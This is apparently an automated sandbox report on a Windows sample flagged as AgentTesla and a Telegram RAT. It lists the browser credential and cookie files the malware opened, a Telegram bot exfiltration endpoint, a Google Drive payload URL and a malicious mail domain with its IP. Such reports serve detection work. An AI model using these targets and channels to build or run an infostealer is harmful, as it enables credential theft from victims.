Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Source: Yara match	File source: 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2476, type: MEMORYSTR

Remote Access Functionality:

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2476, type: MEMORYSTR

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2476, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	DLL Side-Loading1	Access Token Manipulation1	Masquerading1	OS Credential Dumping2	Security Software Discovery421	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel21	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Process Injection112	Disable or Modify Tools11	Credentials in Registry1	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	DLL Side-Loading1	Virtualization/Sandbox Evasion341	Security Account Manager	Virtualization/Sandbox Evasion341	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Ingress Tool Transfer2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol23	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information1	Cached Domain Credentials	System Information Discovery115	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	DLL Side-Loading1	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ejecutable.exe	31%	Virustotal		Browse
ejecutable.exe	16%	ReversingLabs	Win32.Trojan.Mucc

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
crealuz.es	0%	Virustotal		Browse
mail.crealuz.es	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	Avira URL Cloud	safe
http://cps.root-x1.lets	0%	Avira URL Cloud	safe
http://cps.letsencrypt.org0	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	Avira URL Cloud	safe
http://rqpakr.com	0%	Avira URL Cloud	safe
http://x1.c.lencr.org/0	0%	Avira URL Cloud	safe
http://x1.i.lencr.org/0	0%	Avira URL Cloud	safe
http://r3.i.lencr.org/06	0%	Avira URL Cloud	safe
http://r3.o.lencr.org0	0%	Avira URL Cloud	safe
http://cps.root-x1.letsencrypt.org0	0%	Avira URL Cloud	safe
https://api.ipify.orgGETMozilla/5.0	0%	Avira URL Cloud	safe
https://XLkpubMIXQd8Ia.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crealuz.es	31.193.225.171	true	true	0%, Virustotal, Browse	unknown
drive.google.com	142.250.185.174	true	false		high
googlehosted.l.googleusercontent.com	142.250.184.193	true	false		high
doc-0g-50-docs.googleusercontent.com	unknown	unknown	false		high
mail.crealuz.es	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-0g-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/u51n8gtgjt7qad4qcj007t879hm9qvts/1632766425000/00519186742208262786/*/1BI6jwZVoFi4HfxwZ55n_4RDvYEIhfZDr?e=download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://doc-0g-50-docs.googleusercontent.com/X	RegAsm.exe, 00000004.00000002.32227517528.000000000152E000.00000004.00000020.sdmp	false		high
http://127.0.0.1:HTTP/1.1	RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-0g-50-docs.googleusercontent.com/5	RegAsm.exe, 00000004.00000002.32227517528.000000000152E000.00000004.00000020.sdmp	false		high
https://doc-0g-50-docs.googleusercontent.com/docs/secure	RegAsm.exe, 00000004.00000003.27662560321.0000000001576000.00000004.00000001.sdmp	false		high
http://cps.root-x1.lets	RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.letsencrypt.org0	RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://rqpakr.com	RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	RegAsm.exe, 00000004.00000002.32227231702.00000000014E8000.00000004.00000020.sdmp	false		high
http://x1.c.lencr.org/0	RegAsm.exe, 00000004.00000002.32227553585.0000000001533000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/0	RegAsm.exe, 00000004.00000002.32227553585.0000000001533000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.i.lencr.org/06	RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.o.lencr.org0	RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-0g-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/u51n8gtg	RegAsm.exe, 00000004.00000003.27658093067.0000000001578000.00000004.00000001.sdmp	false		high
https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x	RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	false		high
http://cps.root-x1.letsencrypt.org0	RegAsm.exe, 00000004.00000002.32243925087.0000000020840000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.orgGETMozilla/5.0	RegAsm.exe, 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://XLkpubMIXQd8Ia.net	RegAsm.exe, 00000004.00000002.32238188608.000000001E70B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.184.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
31.193.225.171	crealuz.es	Spain	56732	HOSTINET_ASES	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	1374
Start date:	27.09.2021
Start time:	20:11:29
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ejecutable.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@4/3@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 98% Number of executed functions: 206 Number of non-executed functions: 10
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 51.105.236.244, 20.82.19.171, 52.113.194.132 Excluded domains from analysis (whitelisted): ecs.office.com, wdcpalt.microsoft.com, s-0005.s-msedge.net, wd-prod-cp-eu-west-1-fe.westeurope.cloudapp.azure.com, wd-prod-cp-eu-west-2-fe.westeurope.cloudapp.azure.com, wdcp.microsoft.com, ecs.office.trafficmanager.net, s-0005-office.config.skype.com, wd-prod-cp.trafficmanager.net, ecs-office.s-0005.s-msedge.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:14:16	API Interceptor	4094x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
31.193.225.171	wzme2ZPGNR1ujjJ.exe	Get hash	malicious	Browse
	0S42Qe4unmpzSMi.exe	Get hash	malicious	Browse
	358mpa3NeUidKvh.exe	Get hash	malicious	Browse
	4HM8RWr7kwn51TF.exe	Get hash	malicious	Browse
	wOJ9BroUUOSJerB.exe	Get hash	malicious	Browse
	bellerophon.exe	Get hash	malicious	Browse
	VmrHW8DKNYgfffk.exe	Get hash	malicious	Browse
	LfQJU7sK4FFk8al.exe	Get hash	malicious	Browse
	P6g5FPBPbXzB9f0.exe	Get hash	malicious	Browse
	uQYs2CkuXd.exe	Get hash	malicious	Browse
	tnEVurdh52.exe	Get hash	malicious	Browse
	WXhr6U7nPqV2Ajo.exe	Get hash	malicious	Browse
	nsDv6PZh6gUoltD.exe	Get hash	malicious	Browse
	Jlidv6CsYR4YOmp.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HOSTINET_ASES	wzme2ZPGNR1ujjJ.exe	Get hash	malicious	Browse	31.193.225.171
	0S42Qe4unmpzSMi.exe	Get hash	malicious	Browse	31.193.225.171
	358mpa3NeUidKvh.exe	Get hash	malicious	Browse	31.193.225.171
	4HM8RWr7kwn51TF.exe	Get hash	malicious	Browse	31.193.225.171
	wOJ9BroUUOSJerB.exe	Get hash	malicious	Browse	31.193.225.171
	Trumpeters6.exe	Get hash	malicious	Browse	31.193.225.34
	bellerophon.exe	Get hash	malicious	Browse	31.193.225.171
	VmrHW8DKNYgfffk.exe	Get hash	malicious	Browse	31.193.225.171
	LfQJU7sK4FFk8al.exe	Get hash	malicious	Browse	31.193.225.171
	P6g5FPBPbXzB9f0.exe	Get hash	malicious	Browse	31.193.225.171
	uQYs2CkuXd.exe	Get hash	malicious	Browse	31.193.225.171
	tnEVurdh52.exe	Get hash	malicious	Browse	31.193.225.171
	WXhr6U7nPqV2Ajo.exe	Get hash	malicious	Browse	31.193.225.171
	nsDv6PZh6gUoltD.exe	Get hash	malicious	Browse	31.193.225.171
	Jlidv6CsYR4YOmp.exe	Get hash	malicious	Browse	31.193.225.171

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	gmT455QDI6.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	IdI36XfAJc.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	CYqow0VzsU.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	YMFYAIMpF8.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	AO8LQp0Yff.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	xtlA67ZUPd.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	LISTA DE PEDIDO DE COMPRA.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	0zK7HxQE65.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	PO-003785GMHN.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	Image-Scan-80195056703950029289.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	NH8Oxi5PZo.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709213390.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	FDVCyigTWH.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	PO-003785GMHN.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	cYKFZFK0Rg.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	svchost.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	T6zZFfRLqs.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	InvPixcareer.-43329_20210927.xlsb	Get hash	malicious	Browse	142.250.185.174 142.250.184.193
	nY67wl47QZ.exe	Get hash	malicious	Browse	142.250.185.174 142.250.184.193

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Roaming\gomh4u4x.cfu\Chrome\Default\Cookies Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	3.758760013585961
Encrypted:	false
SSDEEP:	384:qGHsAH0UkOYBOYVOQ0fH8VnRMD+lEofbKWc9JqxYuiAAW2QBRW9TYVVox:pHO9FVISnSSlpDK9SiyBRCcS
MD5:	CFA95D988565672C785871A48B529F85
SHA1:	4D6BED615DFA00E1067E6F95F8EC6C210ADF96A7
SHA-256:	647D64A623FB1B62175441A0EF016F8B4479A64D620498644F15DD04FDFB3B24
SHA-512:	0CB69C41DBE7A482F87FAC27EDADC822928D21B6C238EBED2459CD1873B2181734CB67D3A38714C2BAB57FFAEE699CF5EBFF5ABFC3D291B6C36A8E71572CD402
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..."..................................................................."..O}.........g.....8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\gomh4u4x.cfu\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3036000
Category:	modified
Size (bytes):	98304
Entropy (8bit):	0.08231524779339361
Encrypted:	false
SSDEEP:	12:DQANJfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQANJff32mNVpP965Ra8KN0MG/lO
MD5:	886A5F9308577FDF19279AA582D0024D
SHA1:	CDCCC11837CDDB657EB0EF6A01202451ECDF4992
SHA-256:	BA7EB45B7E9B6990BC63BE63836B74FA2CCB64DCD0C199056B6AE37B1AE735F2
SHA-512:	FF0692E52368708B36C161A4BFA91EE01CCA1B86F66666F7FC4979C6792D598FF7720A9FAF258F61439DAD61DB55C50D992E99769B1E4D321EC5B98230684BC5
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................S`.....}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	NordVPN directory not found!..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.839989984815213
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ejecutable.exe
File size:	90112
MD5:	e1034cf41226f321428de243d9248219
SHA1:	613dd5838e227f6a6587b25d9e947dcdbe59223d
SHA256:	276e2e964b739fdb0aaefc10f3144cf9484ee0e55a3e131293eefbaaf12ec47f
SHA512:	38b355821a3e250599807d3b1513a99c571698732d5ceb9fdbfc4923e3a3fb1119bc33e66b3adaf393f271b5b1ad54ee465fcd8009b8bb87518b2fab2c9d1913
SSDEEP:	1536:t1OkpNVDEOhpf7WIbnqOyCqOQwqX7gTE:tAkfVDEERS9RCqA8X
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.......................*..............Rich....................PE..L......Q.................0... ...............@....@........

File Icon


Icon Hash:	821ca88c8e8c8c00

Static PE Info

General
Entrypoint:	0x4012c8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x5192C0A3 [Tue May 14 22:54:27 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e73b8c032c82c64991ebe487a7ffcd43

Entrypoint Preview

Instruction
push 00410090h
call 00007F3768691AF3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
dec eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ch, dh
xchg eax, ebp
push esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x137c4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15000	0x568	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x230	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0xe8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x12c2c	0x13000	False	0.529399671053	data	6.33909939895	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x14000	0xcf4	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x15000	0x568	0x1000	False	0.133544921875	data	1.45958450876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x15440	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x1542c	0x14	data
RT_VERSION	0x150f0	0x33c	data	Chinese	Taiwan

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaAryConstruct2, __vbaObjVar, DllFunctionCall, _adj_fpatan, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaStrToAnsi, __vbaFpI4, __vbaLateMemCallLd, _CIatan, __vbaStrMove, _allmul, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0404 0x04b0
LegalCopyright	ChatSwipe
InternalName	KLTRINGESTREGERNE
FileVersion	4.04.0001
CompanyName	ChatSwipe
LegalTrademarks	ChatSwipe
Comments	ChatSwipe
ProductName	ChatSwipe
ProductVersion	4.04.0001
FileDescription	ChatSwipe
OriginalFilename	KLTRINGESTREGERNE.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	Taiwan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 20:14:08.313544035 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.313620090 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.313788891 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.329735041 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.329792976 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.380918026 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.381078005 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.381120920 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.384078026 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.384423971 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.504847050 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.504901886 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.505578041 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.505700111 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.508196115 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.550013065 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.882023096 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.882214069 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.882280111 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.882414103 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.882443905 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.882538080 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:08.882618904 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.882675886 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.931478024 CEST	49787	443	192.168.11.20	142.250.185.174
Sep 27, 2021 20:14:08.931535006 CEST	443	49787	142.250.185.174	192.168.11.20
Sep 27, 2021 20:14:09.025799036 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.025865078 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.026102066 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.026420116 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.026459932 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.078454971 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.078660965 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.080652952 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.080890894 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.084311008 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.084322929 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.084677935 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.084796906 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.085117102 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.126002073 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.335294962 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.335536003 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.335578918 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.335611105 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.335663080 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.335879087 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.336198092 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.336390972 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.337605953 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.337759972 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.337785959 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.337816000 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.337860107 CEST	443	49788	142.250.184.193	192.168.11.20
